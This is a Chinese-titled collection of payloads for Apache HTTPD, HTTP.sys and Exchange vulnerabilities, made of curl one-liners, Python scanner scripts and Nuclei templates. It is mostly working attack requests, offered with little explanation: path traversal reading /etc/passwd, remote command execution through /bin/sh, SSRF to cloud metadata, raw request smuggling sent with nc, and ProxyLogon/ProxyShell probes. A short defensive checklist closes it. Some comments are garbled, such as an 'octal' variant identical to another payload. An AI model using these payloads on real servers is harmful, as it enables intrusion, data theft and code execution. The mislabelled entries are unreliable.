Web 服务器高危攻击链专题：Apache HTTPD / Microsoft IIS 漏洞全解析

# CVE-2021-41773 - 读取 /etc/passwd
curl -v --path-as-is "http://target:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"

# CVE-2021-41773 - 读取任意文件（需存在 Alias 指令）
curl -v --path-as-is "http://target:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

# CVE-2021-42013 - 使用双重编码绕过
curl -v --path-as-is "http://target:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"

# CVE-2021-42013 - 使用八进制编码绕过
curl -v --path-as-is "http://target:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

# CVE-2021-41773 - RCE（需 mod_cgi 启用）
curl -v --path-as-is -d "echo;id" "http://target:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

#!/usr/bin/env python3
"""CVE-2021-41773 / CVE-2021-42013 路径穿越检测脚本"""

import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TRAVERSAL_PAYLOADS = {
    "CVE-2021-41773 (直接编码)": "/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd",
    "CVE-2021-41773 (icons路径)": "/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd",
    "CVE-2021-42013 (双重编码)": "/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd",
    "CVE-2021-41773 (RCE测试)": "/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh",
}

def check_vuln(target: str, port: int = 8080, timeout: int = 10) -> dict:
    results = {"target": target, "port": port, "vulnerable": False, "details": []}
    base_url = f"http://{target}:{port}"

    for name, path in TRAVERSAL_PAYLOADS.items():
        try:
            if "RCE" in name:
                resp = requests.post(
                    base_url + path,
                    data="echo;id",
                    timeout=timeout,
                    verify=False,
                    headers={"Content-Type": "application/x-www-form-urlencoded"},
                )
            else:
                resp = requests.get(
                    base_url + path, timeout=timeout, verify=False, allow_redirects=False
                )

            if resp.status_code == 200 and ("root:" in resp.text or "uid=" in resp.text):
                results["vulnerable"] = True
                results["details"].append({
                    "payload": name,
                    "status_code": resp.status_code,
                    "evidence": resp.text[:200],
                })
                print(f"[+] {name}: VULNERABLE")
            else:
                print(f"[-] {name}: Not vulnerable (HTTP {resp.status_code})")
        except requests.exceptions.RequestException as e:
            print(f"[!] {name}: Connection error - {e}")

    return results

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target> [port]")
        sys.exit(1)
    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080
    result = check_vuln(target, port)
    if result["vulnerable"]:
        print(f"\n[!] Target {target}:{port} is VULNERABLE!")
    else:
        print(f"\n[*] Target {target}:{port} appears not vulnerable.")

id: cve-2021-41773
info:
  name: Apache HTTPD 2.4.49 - Path Traversal
  author: security-researcher
  severity: critical
  description: |
    Apache HTTPD 2.4.49 contains a path traversal vulnerability
    via ap_normalize_path() that allows reading arbitrary files.
  reference:
    - https://httpd.apache.org/security/vulnerabilities_24.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-22
  metadata:
    max-request: 2
    shodan-query: "Apache httpd 2.4.49"
  tags: cve,cve2021,apache,traversal,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
      - "{{BaseURL}}/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
      - type: status
        status:
          - 200

curl -v "http://target:8080/?unix:/run/mysqld/mysqld.sock:"
curl -v "http://target:8080/@127.0.0.1:80/"
curl -v "http://target:8080/proxy:?target=http://169.254.169.254/latest/meta-data/"

#!/usr/bin/env python3
"""CVE-2021-40438 mod_proxy SSRF 检测脚本"""

import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

SSRF_PAYLOADS = [
    "/proxy:?target=http://127.0.0.1:80/",
    "/@127.0.0.1:80/",
    "/?unix:/run/mysqld/mysqld.sock:",
]

INTERNAL_TARGETS = [
    "http://127.0.0.1:80/",
    "http://169.254.169.254/latest/meta-data/",
]

def check_ssrf(target: str, port: int = 8080, timeout: int = 10) -> dict:
    results = {"target": target, "port": port, "vulnerable": False, "details": []}
    base_url = f"http://{target}:{port}"

    for payload in SSRF_PAYLOADS:
        for internal in INTERNAL_TARGETS:
            url = base_url + payload.replace("target=http://127.0.0.1:80/", f"target={internal}")
            try:
                resp = requests.get(url, timeout=timeout, verify=False, allow_redirects=False)
                if resp.status_code == 200 and len(resp.text) > 0:
                    results["vulnerable"] = True
                    results["details"].append({
                        "url": url,
                        "status": resp.status_code,
                        "evidence": resp.text[:300],
                    })
                    print(f"[+] SSRF via {payload}: VULNERABLE")
                    break
            except requests.exceptions.RequestException as e:
                print(f"[!] Error: {e}")
    return results

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target> [port]")
        sys.exit(1)
    result = check_ssrf(sys.argv[1], int(sys.argv[2]) if len(sys.argv) > 2 else 8080)
    print(f"\nResult: {'VULNERABLE' if result['vulnerable'] else 'Not vulnerable'}")

id: cve-2021-40438
info:
  name: Apache HTTPD - mod_proxy SSRF
  author: security-researcher
  severity: high
  description: |
    Apache HTTPD mod_proxy contains an SSRF vulnerability
    via uninitialized pool memory allowing internal network access.
  classification:
    cvss-score: 9.0
    cwe-id: CWE-918
  tags: cve,cve2021,apache,ssrf

http:
  - method: GET
    path:
      - "{{BaseURL}}/proxy:?target=http://127.0.0.1:80/"
      - "{{BaseURL}}/@127.0.0.1:80/"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Server"
          - "Apache"
        condition: or

curl -v -H "Forwarded: for=127.0.0.1;host=127.0.0.1;proto=http" "http://target:80/"
curl -v -H "Forwarded: host=internal-service:8080" "http://target:80/"

#!/usr/bin/env python3
"""CVE-2022-31813 mod_proxy Forwarded头 SSRF 检测"""

import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_forwarded_ssrf(target: str, port: int = 80, timeout: int = 10) -> bool:
    headers_list = [
        {"Forwarded": "for=127.0.0.1;host=127.0.0.1;proto=http"},
        {"Forwarded": "host=169.254.169.254"},
        {"Forwarded": "proto=http;host=127.0.0.1:8080"},
    ]
    base_url = f"http://{target}:{port}"
    for headers in headers_list:
        try:
            resp = requests.get(base_url, headers=headers, timeout=timeout, verify=False)
            if resp.status_code == 200:
                print(f"[+] Forwarded header: {headers} - Potential SSRF")
                return True
        except requests.exceptions.RequestException as e:
            print(f"[!] Error: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target> [port]")
        sys.exit(1)
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
    vuln = check_forwarded_ssrf(sys.argv[1], port)
    print(f"\nResult: {'Potentially VULNERABLE' if vuln else 'Not vulnerable'}")

id: cve-2022-31813
info:
  name: Apache HTTPD - mod_proxy Forwarded SSRF
  author: security-researcher
  severity: high
  classification:
    cvss-score: 9.0
    cwe-id: CWE-918
  tags: cve,cve2022,apache,ssrf

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      Forwarded: "for=127.0.0.1;host=127.0.0.1;proto=http"
    matchers:
      - type: status
        status:
          - 200

curl -v "http://target:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
curl -v "http://target:8080/@127.0.0.1:8080/cgi-bin/"
curl -v "http://target:8080/proxy:http://127.0.0.1:8080/"

#!/usr/bin/env python3
"""CVE-2024-38476 mod_proxy CGI SSRF 检测"""

import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_cgi_ssrf(target: str, port: int = 8080, timeout: int = 10) -> bool:
    payloads = [
        "/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh",
        "/@127.0.0.1:8080/cgi-bin/",
        "/proxy:http://127.0.0.1:80/",
    ]
    base_url = f"http://{target}:{port}"
    for payload in payloads:
        try:
            resp = requests.get(base_url + payload, timeout=timeout, verify=False)
            if resp.status_code in (200, 500):
                print(f"[+] CGI SSRF payload responsive: {payload}")
                return True
        except requests.exceptions.RequestException as e:
            print(f"[!] Error: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target> [port]")
        sys.exit(1)
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080
    vuln = check_cgi_ssrf(sys.argv[1], port)
    print(f"\nResult: {'Potentially VULNERABLE' if vuln else 'Not vulnerable'}")

id: cve-2024-38476
info:
  name: Apache HTTPD - mod_proxy CGI SSRF
  author: security-researcher
  severity: critical
  classification:
    cvss-score: 9.8
    cwe-id: CWE-918
  tags: cve,cve2024,apache,ssrf,cgi

http:
  - method: GET
    path:
      - "{{BaseURL}}/proxy:http://127.0.0.1:80/"
      - "{{BaseURL}}/@127.0.0.1:8080/cgi-bin/"
    matchers:
      - type: status
        status:
          - 200
          - 500

# 请求走私 PoC 示例（使用 netcat 发送原始 TCP 数据）
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX' | nc target 80
printf 'GET /admin HTTP/1.1\r\nHost: target\r\n\r\n' | nc target 80

#!/usr/bin/env python3
"""CVE-2023-25690 HTTP 请求走私检测脚本"""

import sys
import socket
import ssl

def check_smuggling(target: str, port: int = 80, use_tls: bool = False, timeout: int = 10) -> bool:
    smuggled_request = (
        "POST / HTTP/1.1\r\n"
        f"Host: {target}\r\n"
        "Content-Length: 6\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "0\r\n"
        "\r\n"
    )

    probe_request = (
        "GET /smuggling-probe HTTP/1.1\r\n"
        f"Host: {target}\r\n"
        "X-Smuggle-Probe: true\r\n"
        "\r\n"
    )

    try:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE

        raw_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        raw_sock.settimeout(timeout)
        raw_sock.connect((target, port))

        if use_tls:
            sock = ctx.wrap_socket(raw_sock, server_hostname=target)
        else:
            sock = raw_sock

        sock.sendall(smuggled_request.encode())
        import time
        time.sleep(0.5)
        sock.sendall(probe_request.encode())

        response = sock.recv(4096).decode(errors="ignore")
        sock.close()

        if "404" not in response or "smuggling-probe" in response:
            print(f"[+] Potential request smuggling detected")
            print(f"    Response: {response[:200]}")
            return True

    except Exception as e:
        print(f"[!] Error: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target> [port] [--tls]")
        sys.exit(1)
    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 and not sys.argv[2].startswith("-") else 80
    use_tls = "--tls" in sys.argv
    vuln = check_smuggling(target, port, use_tls)
    print(f"\nResult: {'Potentially VULNERABLE' if vuln else 'Not vulnerable'}")

id: cve-2023-25690
info:
  name: Apache HTTPD - HTTP Request Smuggling
  author: security-researcher
  severity: high
  classification:
    cvss-score: 9.0
    cwe-id: CWE-444
  tags: cve,cve2023,apache,smuggling

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 6
        Transfer-Encoding: chunked

        0

        X
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 400

# 发送 WebSocket 升级请求触发 UAF
curl -v -H "Connection: Upgrade" -H "Upgrade: websocket" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" -H "Sec-WebSocket-Version: 13" "http://target/"

#!/usr/bin/env python3
"""CVE-2021-31166 HTTP.sys UAF RCE 检测（仅检测，不执行利用）"""

import sys
import socket
import ssl

def check_http_sys_uaf(target: str, port: int = 443, timeout: int = 10) -> bool:
    websocket_request = (
        "GET / HTTP/1.1\r\n"
        f"Host: {target}\r\n"
        "Connection: Upgrade\r\n"
        "Upgrade: websocket\r\n"
        "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"
        "Sec-WebSocket-Version: 13\r\n"
        "Content-Length: 0\r\n"
        "\r\n"
    )

    try:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE

        raw_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        raw_sock.settimeout(timeout)
        raw_sock.connect((target, port))
        sock = ctx.wrap_socket(raw_sock, server_hostname=target)

        sock.sendall(websocket_request.encode())
        response = sock.recv(4096).decode(errors="ignore")
        sock.close()

        if "101" in response or "HTTP.sys" in response:
            print(f"[+] HTTP.sys WebSocket response indicates potential vulnerability")
            print(f"    Server may be running vulnerable HTTP.sys version")
            return True

    except Exception as e:
        print(f"[!] Error: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target> [port]")
        sys.exit(1)
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 443
    vuln = check_http_sys_uaf(sys.argv[1], port)
    print(f"\nResult: {'Potentially VULNERABLE' if vuln else 'Not vulnerable'}")

id: cve-2021-31166
info:
  name: Windows HTTP.sys - WebSocket UAF RCE
  author: security-researcher
  severity: critical
  description: |
    Windows HTTP.sys contains a UAF vulnerability when handling
    WebSocket upgrade requests, allowing remote code execution.
  classification:
    cvss-score: 9.8
    cwe-id: CWE-416
  tags: cve,cve2021,microsoft,http-sys,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      Connection: "Upgrade"
      Upgrade: "websocket"
      Sec-WebSocket-Key: "dGhlIHNhbXBsZSBub25jZQ=="
      Sec-WebSocket-Version: "13"
    matchers:
      - type: word
        words:
          - "101"
          - "Switching"
        condition: or

# 发送包含恶意 Trailer 头的请求
printf "POST / HTTP/1.1\r\nHost: target\r\nTransfer-Encoding: chunked\r\nTrailer: X-Exploit\r\n\r\n0\r\n\r\n" | nc target 80

#!/usr/bin/env python3
"""CVE-2022-21907 HTTP.sys 整数溢出检测"""

import sys
import socket
import ssl

def check_integer_overflow(target: str, port: int = 443, timeout: int = 10) -> bool:
    trailers = "".join(f"X-Trailer-{i}: value\r\n" for i in range(100))
    request = (
        "POST / HTTP/1.1\r\n"
        f"Host: {target}\r\n"
        "Transfer-Encoding: chunked\r\n"
        f"Trailer: X-Trailer-Exploit\r\n"
        "\r\n"
        "0\r\n"
        f"{trailers}"
        "\r\n"
    )

    try:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE

        raw_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        raw_sock.settimeout(timeout)
        raw_sock.connect((target, port))
        sock = ctx.wrap_socket(raw_sock, server_hostname=target)

        sock.sendall(request.encode())
        import time
        time.sleep(1)
        try:
            response = sock.recv(4096).decode(errors="ignore")
            if "500" in response or "Connection" in response:
                print(f"[+] HTTP.sys responded to Trailer header overflow attempt")
                return True
        except socket.timeout:
            print(f"[+] Connection timed out (possible crash)")
            return True
        sock.close()

    except Exception as e:
        print(f"[!] Error: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target> [port]")
        sys.exit(1)
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 443
    vuln = check_integer_overflow(sys.argv[1], port)
    print(f"\nResult: {'Potentially VULNERABLE' if vuln else 'Not vulnerable'}")

id: cve-2022-21907
info:
  name: Windows HTTP.sys - Integer Overflow RCE
  author: security-researcher
  severity: critical
  classification:
    cvss-score: 9.8
    cwe-id: CWE-190
  tags: cve,cve2022,microsoft,http-sys,rce

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Transfer-Encoding: chunked
        Trailer: X-Exploit

        0

    stop-at-first-match: true
    matchers:
      - type: word
        words:
          - "500"
          - "200"
        condition: or

# ProxyLogon SSRF 探测
curl -v "https://target/owa/auth/x.js" \
  -H "Cookie: X-AnonResource-Backend=127.0.0.1; X-AnonResource-Backend=http://127.0.0.1/EWS/exchange.asmx"

# 获取可用后端服务器信息
curl -v "https://target/autodiscover/autodiscover.xml" \
  -H "Cookie: X-AnonResource-Backend=127.0.0.1"

# 获取 Exchange 服务器的 FQDN
curl -k "https://target/owa/auth/x.js" \
  -H "Cookie: X-AnonResource-Backend=a]@" \
  -H "X-AnonResource-Backend: 127.0.0.1"

#!/usr/bin/env python3
"""CVE-2021-26855 ProxyLogon SSRF 检测脚本"""

import sys
import re
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_proxylogon(target: str, timeout: int = 15) -> dict:
    results = {"target": target, "vulnerable": False, "details": []}
    base_url = f"https://{target}"

    endpoints = [
        "/autodiscover/autodiscover.xml",
        "/owa/auth/x.js",
        "/ecp/",
    ]

    for endpoint in endpoints:
        try:
            headers = {
                "Cookie": "X-AnonResource-Backend=127.0.0.1",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            }
            resp = requests.get(
                base_url + endpoint,
                headers=headers,
                timeout=timeout,
                verify=False,
                allow_redirects=False,
            )

            server_header = resp.headers.get("Server", "")
            x_calculated = resp.headers.get("X-CalculatedBETarget", "")

            if x_calculated or "Microsoft-IIS" in server_header or "X-OWA-Version" in resp.headers:
                results["vulnerable"] = True
                results["details"].append({
                    "endpoint": endpoint,
                    "status": resp.status_code,
                    "server": server_header,
                    "betarget": x_calculated,
                })
                print(f"[+] ProxyLogon SSRF possible via {endpoint}")

            if "X-DERIVEDFromBB" in resp.headers or "X-OWA-Version" in resp.headers:
                print(f"    Confirmed Exchange target: {resp.headers.get('X-OWA-Version', 'unknown')}")

        except requests.exceptions.RequestException as e:
            print(f"[!] Error with {endpoint}: {e}")

    return results

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <exchange_target>")
        sys.exit(1)
    result = check_proxylogon(sys.argv[1])
    if result["vulnerable"]:
        print(f"\n[!] {result['target']} appears VULNERABLE to ProxyLogon SSRF!")
        for detail in result["details"]:
            print(f"    {detail['endpoint']} -> HTTP {detail['status']}")
    else:
        print(f"\n[*] {result['target']} appears not vulnerable.")

id: cve-2021-26855
info:
  name: Microsoft Exchange - ProxyLogon SSRF
  author: security-researcher
  severity: critical
  description: |
    Microsoft Exchange Server contains an SSRF vulnerability
    (ProxyLogon) that allows unauthenticated access to internal
    services and can lead to RCE.
  reference:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855
  classification:
    cvss-score: 9.8
    cwe-id: CWE-918
  metadata:
    max-request: 2
    shodan-query: "Microsoft-IIS"
  tags: cve,cve2021,exchange,microsoft,ssrf,proxylogon

http:
  - method: GET
    path:
      - "{{BaseURL}}/autodiscover/autodiscover.xml"
      - "{{BaseURL}}/owa/auth/x.js"
    headers:
      Cookie: "X-AnonResource-Backend=127.0.0.1"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "X-CalculatedBETarget"
          - "X-OWA-Version"
          - "Microsoft-IIS"
        condition: or
      - type: status
        status:
          - 200
          - 302
          - 401
        condition: or

# CVE-2021-34473 - 认证绕过探测
curl -v "https://target/autodiscover/autodiscover.json@microsoft.com/mapi/nspi/?EmailAutodiscover=abc@abc.com"
curl -v "https://target/autodiscover/autodiscover.json@exchange.exmicrosoft.com/autodiscover/autodiscover.xml"

# ProxyShell 全链利用（需要 Nuclei 或专用工具）
# Step 1: 确认认证绕过
curl -v "https://target/mapi/nspi/?EmailAutodiscover=test@test.com&TargetHost=127.0.0.1"

#!/usr/bin/env python3
"""CVE-2021-34473 ProxyShell 认证绕过检测"""

import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PROXSHELL_PAYLOADS = [
    "/autodiscover/autodiscover.json@microsoft.com/mapi/nspi/?EmailAutodiscover=abc@abc.com",
    "/autodiscover/autodiscover.json@exchange.microsoft.com/autodiscover/autodiscover.xml",
    "/autodiscover/autodiscover.json@x]/autodiscover/autodiscover.xml",
    "/mapi/nspi/?EmailAutodiscover=test@test.com&TargetHost=127.0.0.1",
]

def check_proxyshell(target: str, timeout: int = 15) -> bool:
    base_url = f"https://{target}"
    for payload in PROXSHELL_PAYLOADS:
        try:
            resp = requests.get(
                base_url + payload,
                timeout=timeout,
                verify=False,
                allow_redirects=False,
                headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"},
            )
            if resp.status_code in (200, 401, 403):
                if resp.status_code == 200 and any(
                    kw in resp.text for kw in ["DisplayName", "Protocol", "Autodiscover"]
                ):
                    print(f"[+] ProxyShell auth bypass possible: {payload}")
                    print(f"    Status: {resp.status_code}, Length: {len(resp.text)}")
                    return True
        except requests.exceptions.RequestException as e:
            print(f"[!] Error: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <exchange_target>")
        sys.exit(1)
    vuln = check_proxyshell(sys.argv[1])
    print(f"\nResult: {'VULNERABLE to ProxyShell' if vuln else 'Not vulnerable'}")

id: cve-2021-34473
info:
  name: Microsoft Exchange - ProxyShell Auth Bypass
  author: security-researcher
  severity: critical
  classification:
    cvss-score: 9.8
    cwe-id: CWE-269
  tags: cve,cve2021,exchange,microsoft,proxyshell

http:
  - method: GET
    path:
      - "{{BaseURL}}/autodiscover/autodiscover.json@microsoft.com/mapi/nspi/?EmailAutodiscover=abc@abc.com"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "DisplayName"
          - "Protocol"
        condition: or

# ProxyNotShell SSRF 探测
curl -v "https://target/autodiscover/autodiscover.json@microsoft.com/mapi/nspi/?EmailAutodiscover=abc@abc.com"
curl -v "https://target/autodiscover/autodiscover.json@ficrosoft.com/mapi/emsmdb/?EmailAutodiscover=abc@abc.com"
curl -v -X POST "https://target/autodiscover/autodiscover.json@microsoft.com/mapi/emsmdb/" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="utf-8"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/2006"><Request><EMailAddress>abc@abc.com</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover>'

#!/usr/bin/env python3
"""CVE-2022-41040 ProxyNotShell SSRF 检测"""

import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PROXYNOTSHELL_PAYLOADS = [
    "/autodiscover/autodiscover.json@microsoft.com/mapi/nspi/?EmailAutodiscover=abc@abc.com",
    "/autodiscover/autodiscover.json@ficrosoft.com/mapi/emsmdb/?EmailAutodiscover=abc@abc.com",
    "/autodiscover/autodiscover.json@microsoft.com/mapi/emsmdb/",
    "/autodiscover/autodiscover.json@oicrosoft.com/mapi/nspi/?EmailAutodiscover=test@test.com",
]

def check_proxy_notshell(target: str, timeout: int = 15) -> bool:
    base_url = f"https://{target}"
    for payload in PROXYNOTSHELL_PAYLOADS:
        try:
            resp = requests.get(
                base_url + payload,
                timeout=timeout,
                verify=False,
                allow_redirects=False,
                headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"},
            )
            if resp.status_code in (200, 401):
                if resp.status_code == 200:
                    print(f"[+] ProxyNotShell SSRF via {payload}")
                    print(f"    Response length: {len(resp.text)}")
                    return True
                elif resp.status_code == 401 and "WWW-Authenticate" in resp.headers:
                    print(f"[+] Exchange detected, endpoint accessible (401)")
        except requests.exceptions.RequestException as e:
            print(f"[!] Error: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <exchange_target>")
        sys.exit(1)
    vuln = check_proxy_notshell(sys.argv[1])
    print(f"\nResult: {'Potentially VULNERABLE' if vuln else 'Not vulnerable'}")

id: cve-2022-41040
info:
  name: Microsoft Exchange - ProxyNotShell SSRF
  author: security-researcher
  severity: high
  classification:
    cvss-score: 8.8
    cwe-id: CWE-918
  tags: cve,cve2022,exchange,microsoft,proxynotshell,ssrf

http:
  - method: GET
    path:
      - "{{BaseURL}}/autodiscover/autodiscover.json@microsoft.com/mapi/nspi/?EmailAutodiscover=abc@abc.com"
      - "{{BaseURL}}/autodiscover/autodiscover.json@ficrosoft.com/mapi/emsmdb/?EmailAutodiscover=abc@abc.com"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Protocol"
          - "DisplayName"
          - "Autodiscover"
        condition: or

# 检查 Apache 版本
httpd -v
# 或
apachectl -v

# 检查是否启用 mod_proxy
httpd -M | grep proxy

# 检查是否启用 mod_cgi
httpd -M | grep cgi

# 检查 Alias 配置
grep -r "Alias" /etc/httpd/conf/httpd.conf

# 检查是否有路径穿越尝试的日志痕迹
grep -E "(\.\.%2e|%2e%2e|%%32%65)" /var/log/httpd/access_log

# 检查 mod_proxy 配置
grep -r "ProxyPass" /etc/httpd/conf/

# 检查服务器响应头
curl -I http://target/ | grep -i server

# 检查 Exchange 版本
Get-ExchangeServer | Format-Table Name, AdminDisplayVersion

# 检查是否安装安全更新
Get-HotFix | Where-Object {$_.InstalledOn -gt "2021-03-01"} | Format-Table HotFixID, Description, InstalledOn

# 检查可疑 WebShell 文件
Get-ChildItem -Path "C:\inetpub\wwwroot" -Recurse -Include *.aspx,*.ashx,*.asmx | Where-Object {$_.CreationTime -gt "2021-01-01"}

# 检查可疑的 ProxyLogon 利用痕迹
Select-String -Path "C:\Program Files\Microsoft\Exchange Server\V15\Logging\ECP\Server\*.log" -Pattern "X-AnonResource-Backend"

# 检查 Exchange PowerShell 端点访问日志
Get-ChildItem "C:\Program Files\Microsoft\Exchange Server\V15\Logging\HttpProxy\Autodiscover\*.log" | Select-String "autodiscover.json@"

# 检查 HTTP.sys 版本
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\HTTP\Parameters" | Select-Object ListenOnlyList, SuspendListen